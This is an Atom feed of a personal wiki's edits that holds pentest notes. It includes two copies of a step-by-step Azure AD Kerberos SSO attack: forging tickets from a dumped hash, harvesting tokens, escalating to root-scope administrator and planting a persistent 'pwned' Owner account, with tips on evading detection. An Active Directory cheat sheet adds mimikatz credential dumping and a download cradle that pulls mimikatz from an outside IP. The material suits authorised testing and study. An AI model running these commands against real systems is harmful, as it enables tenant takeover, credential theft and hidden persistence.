<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Administrator</id>
	<title>Wiki Aghanim - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Administrator"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/Special:Contributions/Administrator"/>
	<updated>2026-08-01T00:10:55Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2380</id>
		<title>Handbook III - Cloud</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2380"/>
		<updated>2026-06-23T09:55:00Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Step 3 — Forge Kerberos Ticket */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Entra ID (Azure) ==&lt;br /&gt;
&lt;br /&gt;
Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking &amp;amp; Defending Azure Cloud: Beginner&#039;s Edition (CARTP) (alteredsecurity.com)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]&lt;br /&gt;
&lt;br /&gt;
* How to use Graph API for C2 communication&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
[[Category:Handbooks]]&lt;br /&gt;
&lt;br /&gt;
==  Azure Administrative Tiering (AzTier) == &lt;br /&gt;
https://aztier.com/&lt;br /&gt;
&lt;br /&gt;
== Azure AD Kerberos SSO Attack — Pentest Notes ==&lt;br /&gt;
&lt;br /&gt;
=== Source === &lt;br /&gt;
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud azure-ad-kerberos-tickets-pivoting-to-the-cloud]&lt;br /&gt;
&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
* Domain Admin / DC access&lt;br /&gt;
* &amp;lt;code&amp;gt;AZUREADSSOACC$&amp;lt;/code&amp;gt; NTLM hash extracted via SecretsDump&lt;br /&gt;
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)&lt;br /&gt;
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient&lt;br /&gt;
&lt;br /&gt;
=== Tool Installation ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals-Endpoints&amp;quot;&lt;br /&gt;
Import-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip install roadrecon --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 1 — Confirm SSO Enabled ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table&lt;br /&gt;
# Look for DesktopSSO: True&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 — Enumerate Accounts via rpcclient ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you don&#039;t have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. &lt;br /&gt;
rpcclient -U &amp;quot;domain/user%password&amp;quot; &amp;lt;DC_IP&amp;gt;&lt;br /&gt;
enumdomusers&lt;br /&gt;
lookupnames &amp;lt;username&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 3 — Forge Kerberos Ticket ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)&lt;br /&gt;
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX&lt;br /&gt;
# Use SID for a user that is synced between Azure AD and local Active Directory. &lt;br /&gt;
$kerberos=NewAADIntKerberosTicket -SidString &amp;lt;Internal AD SID&amp;gt; -Hash &amp;lt;SSOACC$ NTLM Hash&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 4 — Get Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important: each tool needs a different token audience&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! Audience !! AADInternals Command&lt;br /&gt;
|-&lt;br /&gt;
| roadrecon gather || &amp;lt;code&amp;gt;https://graph.windows.net&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAADGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Connect-MgGraph / Get-MgUser || &amp;lt;code&amp;gt;https://graph.microsoft.com&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForMSGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Azure Core Management || &amp;lt;code&amp;gt;https://management.core.windows.net/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAzureCoreManagement&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Get all three and save to cache&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5 — Enumerate Azure AD with ROADrecon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
roadrecon auth --access-token &amp;lt;AADGraph_token&amp;gt;&lt;br /&gt;
roadrecon gather -f .roadtools_auth&lt;br /&gt;
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6 — Connect Microsoft Graph &amp;amp; Check Context ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Connect using MSGraph token&lt;br /&gt;
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com&lt;br /&gt;
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)&lt;br /&gt;
&lt;br /&gt;
# Check current session context and user&lt;br /&gt;
$me = Get-MgContext&lt;br /&gt;
Write-Output $me&lt;br /&gt;
&lt;br /&gt;
# List all scopes/permissions granted to the token&lt;br /&gt;
(Get-MgContext).Scopes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7 — Check Token Permissions ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Decode token — check scp, roles, wids, aud, upn claims&lt;br /&gt;
Read-AADIntAccessToken -AccessToken &amp;lt;token&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Decode at &#039;&#039;&#039;jwt.ms&#039;&#039;&#039; for a clean readable view.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Claim !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; || Delegated scopes e.g. Directory.Read.All&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;roles&amp;lt;/code&amp;gt; || Application role assignments&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;wids&amp;lt;/code&amp;gt; || Directory role GUIDs (Global Admin etc.)&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;aud&amp;lt;/code&amp;gt; || Which API this token is valid for&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;upn&amp;lt;/code&amp;gt; || Which user this token belongs to&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Step 8 — Escalate to Global Admin ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Impersonate ADSync account (high value — has directory sync rights by design)&lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;ADSync_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&lt;br /&gt;
# Elevate to User Access Administrator at root scope&lt;br /&gt;
Grant-AADIntAzureUserAccessAdminRole&lt;br /&gt;
&lt;br /&gt;
# Verify subscription access&lt;br /&gt;
Get-AADIntAzureSubscriptions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 9 — Create Persistent Cloud User ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Note the ObjectID in the output&lt;br /&gt;
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName &amp;quot;pwned user&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Assign subscription ownership&lt;br /&gt;
$subScope = &amp;quot;subscriptions/&amp;lt;subscription_id&amp;gt;&amp;quot;&lt;br /&gt;
New-AzRoleAssignment -ObjectID &amp;lt;ObjectID&amp;gt; -RoleDefinitionName &amp;quot;Owner&amp;quot; -Scope $subScope&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2379</id>
		<title>Handbook III - Cloud</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_III_-_Cloud&amp;diff=2379"/>
		<updated>2026-06-23T09:54:26Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Azure AD Kerberos SSO Attack — Pentest Notes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Entra ID (Azure) ==&lt;br /&gt;
&lt;br /&gt;
Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking &amp;amp; Defending Azure Cloud: Beginner&#039;s Edition (CARTP) (alteredsecurity.com)]&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]&lt;br /&gt;
&lt;br /&gt;
* How to use Graph API for C2 communication&lt;br /&gt;
&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
[[Category:Handbooks]]&lt;br /&gt;
&lt;br /&gt;
==  Azure Administrative Tiering (AzTier) == &lt;br /&gt;
https://aztier.com/&lt;br /&gt;
&lt;br /&gt;
== Azure AD Kerberos SSO Attack — Pentest Notes ==&lt;br /&gt;
&lt;br /&gt;
=== Source === &lt;br /&gt;
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud azure-ad-kerberos-tickets-pivoting-to-the-cloud]&lt;br /&gt;
&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
* Domain Admin / DC access&lt;br /&gt;
* &amp;lt;code&amp;gt;AZUREADSSOACC$&amp;lt;/code&amp;gt; NTLM hash extracted via SecretsDump&lt;br /&gt;
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)&lt;br /&gt;
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient&lt;br /&gt;
&lt;br /&gt;
=== Tool Installation ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
Install-Module -Name &amp;quot;AADInternals-Endpoints&amp;quot;&lt;br /&gt;
Import-Module -Name &amp;quot;AADInternals&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip install roadrecon --break-system-packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 1 — Confirm SSO Enabled ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table&lt;br /&gt;
# Look for DesktopSSO: True&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 — Enumerate Accounts via rpcclient ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you don&#039;t have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. &lt;br /&gt;
rpcclient -U &amp;quot;domain/user%password&amp;quot; &amp;lt;DC_IP&amp;gt;&lt;br /&gt;
enumdomusers&lt;br /&gt;
lookupnames &amp;lt;username&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 3 — Forge Kerberos Ticket ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)&lt;br /&gt;
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX&lt;br /&gt;
# Use SID for a user that is synced between Azure AD and local Active Directory. &lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;AD_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 4 — Get Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important: each tool needs a different token audience&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! Audience !! AADInternals Command&lt;br /&gt;
|-&lt;br /&gt;
| roadrecon gather || &amp;lt;code&amp;gt;https://graph.windows.net&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAADGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Connect-MgGraph / Get-MgUser || &amp;lt;code&amp;gt;https://graph.microsoft.com&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForMSGraph&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Azure Core Management || &amp;lt;code&amp;gt;https://management.core.windows.net/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;Get-AADIntAccessTokenForAzureCoreManagement&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Get all three and save to cache&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5 — Enumerate Azure AD with ROADrecon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
roadrecon auth --access-token &amp;lt;AADGraph_token&amp;gt;&lt;br /&gt;
roadrecon gather -f .roadtools_auth&lt;br /&gt;
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6 — Connect Microsoft Graph &amp;amp; Check Context ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Connect using MSGraph token&lt;br /&gt;
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com&lt;br /&gt;
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)&lt;br /&gt;
&lt;br /&gt;
# Check current session context and user&lt;br /&gt;
$me = Get-MgContext&lt;br /&gt;
Write-Output $me&lt;br /&gt;
&lt;br /&gt;
# List all scopes/permissions granted to the token&lt;br /&gt;
(Get-MgContext).Scopes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7 — Check Token Permissions ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Decode token — check scp, roles, wids, aud, upn claims&lt;br /&gt;
Read-AADIntAccessToken -AccessToken &amp;lt;token&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Decode at &#039;&#039;&#039;jwt.ms&#039;&#039;&#039; for a clean readable view.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Claim !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; || Delegated scopes e.g. Directory.Read.All&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;roles&amp;lt;/code&amp;gt; || Application role assignments&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;wids&amp;lt;/code&amp;gt; || Directory role GUIDs (Global Admin etc.)&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;aud&amp;lt;/code&amp;gt; || Which API this token is valid for&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;upn&amp;lt;/code&amp;gt; || Which user this token belongs to&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Step 8 — Escalate to Global Admin ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Impersonate ADSync account (high value — has directory sync rights by design)&lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;ADSync_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&lt;br /&gt;
# Elevate to User Access Administrator at root scope&lt;br /&gt;
Grant-AADIntAzureUserAccessAdminRole&lt;br /&gt;
&lt;br /&gt;
# Verify subscription access&lt;br /&gt;
Get-AADIntAzureSubscriptions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 9 — Create Persistent Cloud User ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Note the ObjectID in the output&lt;br /&gt;
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName &amp;quot;pwned user&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Assign subscription ownership&lt;br /&gt;
$subScope = &amp;quot;subscriptions/&amp;lt;subscription_id&amp;gt;&amp;quot;&lt;br /&gt;
New-AzRoleAssignment -ObjectID &amp;lt;ObjectID&amp;gt; -RoleDefinitionName &amp;quot;Owner&amp;quot; -Scope $subScope&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2378</id>
		<title>Offensive Security/Active Directory</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2378"/>
		<updated>2026-06-11T08:29:11Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Pivoting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.&lt;br /&gt;
&lt;br /&gt;
Inspo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/&lt;br /&gt;
E&#039;s methodology&lt;br /&gt;
https://zer1t0.gitlab.io/posts/attacking_ad/&lt;br /&gt;
https://bitbin.it/SKZrPTcu/&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
https://book.hacktricks.xyz/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Work in progress&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
= References Matrix =&lt;br /&gt;
&lt;br /&gt;
[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Explanation&lt;br /&gt;
! Tools/attack example&lt;br /&gt;
|-&lt;br /&gt;
| Unconstrained delegation&lt;br /&gt;
| Allows a service to delegate user credentials to any service on any computer.&lt;br /&gt;
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.&lt;br /&gt;
|-&lt;br /&gt;
| Constrained delegation&lt;br /&gt;
| Allows delegation only to specific services.&lt;br /&gt;
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.&lt;br /&gt;
|-&lt;br /&gt;
| Resource-based constrained delegation&lt;br /&gt;
| Delegation rights are set on the resource&#039;s ACL, allowing greater flexibility in specifying delegation.&lt;br /&gt;
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.exe&lt;br /&gt;
| Dump hashes and credentials from memory.&lt;br /&gt;
| mimikatz.exe &amp;quot;privilege::debug&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; exit&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimikatz&lt;br /&gt;
| PowerShell version of mimikatz.&lt;br /&gt;
| `(New-Object System.Net.WebClient).DownloadString(&#039;[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]&#039;)&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimidogz&lt;br /&gt;
| Obfuscated version of invoke-mimikatz to avoid AV detection.&lt;br /&gt;
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection&lt;br /&gt;
|-&lt;br /&gt;
| invoke-sohighsohigh&lt;br /&gt;
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.&lt;br /&gt;
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)&lt;br /&gt;
|-&lt;br /&gt;
| SpoolSample.exe&lt;br /&gt;
| Coerce a computer to make an authentication in order to abuse print bug.&lt;br /&gt;
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.&lt;br /&gt;
|-&lt;br /&gt;
| rubeus.exe&lt;br /&gt;
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.&lt;br /&gt;
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap&lt;br /&gt;
|-&lt;br /&gt;
| impacket-secretsdump&lt;br /&gt;
| Dump secrets from a remote machine&#039;s registry hives.&lt;br /&gt;
| secretsdump.py domain/user:password@target&lt;br /&gt;
|-&lt;br /&gt;
| impacket-krbrelayx&lt;br /&gt;
| Tool for relaying Kerberos authentication.&lt;br /&gt;
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.&lt;br /&gt;
|-&lt;br /&gt;
| impacket-mssql&lt;br /&gt;
| SQL server attack tool, capable of executing commands and dumping credentials.&lt;br /&gt;
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).&lt;br /&gt;
|-&lt;br /&gt;
| impacket-ticketconverter&lt;br /&gt;
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.&lt;br /&gt;
| ticketConverter.py &amp;lt;inputfile&amp;gt; &amp;lt;outputfile&amp;gt; to convert between kirbi and ccache formats.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.&lt;br /&gt;
| ticketer.py -nthash &amp;lt;nthash&amp;gt; -domain-sid &amp;lt;sid&amp;gt; -domain &amp;lt;domain&amp;gt; -user &amp;lt;username&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| setSPN&lt;br /&gt;
| Set Service Principal Names for accounts to allow Kerberos authentication.&lt;br /&gt;
| setspn -A &amp;lt;SPN&amp;gt; &amp;lt;Account&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| LOLBas&lt;br /&gt;
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.&lt;br /&gt;
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.&lt;br /&gt;
|-&lt;br /&gt;
| gtfobins&lt;br /&gt;
| Repository of Unix binaries that can be used to bypass local security restrictions.&lt;br /&gt;
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= LOLBAS - Living off the land =&lt;br /&gt;
&lt;br /&gt;
[https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
&lt;br /&gt;
= WADComs - Very useful cheatsheet =&lt;br /&gt;
&lt;br /&gt;
https://wadcoms.github.io/&lt;br /&gt;
&lt;br /&gt;
= Icebreaker =&lt;br /&gt;
&lt;br /&gt;
[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you&#039;re on the internal network but outside the AD environment]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= AD Methodology =&lt;br /&gt;
&lt;br /&gt;
* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.&lt;br /&gt;
&lt;br /&gt;
* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.&lt;br /&gt;
&lt;br /&gt;
* Escalate privilege on local machine to local administrator&lt;br /&gt;
&lt;br /&gt;
* Extract hashes if possile.&lt;br /&gt;
&lt;br /&gt;
